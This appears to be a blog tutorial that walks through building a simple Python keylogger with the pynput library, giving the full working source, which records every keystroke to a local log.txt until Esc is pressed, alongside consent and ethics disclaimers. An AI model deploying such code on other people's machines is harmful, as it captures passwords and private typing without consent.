Creating a Keylogger in Python

Keyloggers are programs that capture and record keystrokes on a computer. They are often used by cybersecurity professionals for monitoring and security analysis, but it is important to emphasize that using keyloggers without permission is illegal and unethical. Ensure you have explicit consent before implementing such tools.

In this guide, we will create a simple keylogger in Python using the pynput library, which allows you to monitor and control input devices.

Setting Up Your Environment

Before we start coding, ensure you have Python installed on your system. You can download it from the official Python website. Additionally, install the pynput library, which will enable us to capture keyboard input.

pip install pynput

Writing the Keylogger

Our keylogger will consist of two main functions: one to log the keys pressed and another to stop the logging when a specific key is pressed (in this case, the Esc key).

Keylogger Script

1. Import the Required Libraries: We will use the pynput library to monitor keyboard events.

from pynput.keyboard import Key, Listener

2. Define the Key Press Function: This function will log the keys pressed into a file.

def on_press(key):
    with open("log.txt", "a") as log:
        try:
            log.write(f"{key.char}")
        except AttributeError:
            if key == Key.space:
                log.write(" ")
            else:
                log.write(f"{key}")

3. Define the Key Release Function: This function will stop the listener when the Esc key is pressed.

def on_release(key):
    if key == Key.esc:
        return False

4. Set Up the Listener: Use the Listener class from pynput to monitor keyboard events and log them using the defined functions.

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

Full Keylogger Script

Here is the complete keylogger script:

from pynput.keyboard import Key, Listener

def on_press(key):
    with open("log.txt", "a") as log:
        try:
            log.write(f"{key.char}")
        except AttributeError:
            if key == Key.space:
                log.write(" ")
            else:
                log.write(f"{key}")

def on_release(key):
    if key == Key.esc:
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

Running the Keylogger

1. Save the Script: Save the above script to a file, for example, keylogger.py.

2. Run the Script: Open a terminal or command prompt, navigate to the directory where you saved the script, and run it using Python.

python keylogger.py

The script will start logging keystrokes to a file named log.txt in the same directory. To stop the keylogger, press the Esc key.

Ethical Considerations

Using keyloggers for malicious purposes is illegal and unethical. Always ensure you have permission from the owner of the device you are monitoring. Keyloggers can be a valuable tool for cybersecurity professionals when used responsibly, such as for monitoring your own systems or for educational purposes.

Thank you for reading the blog.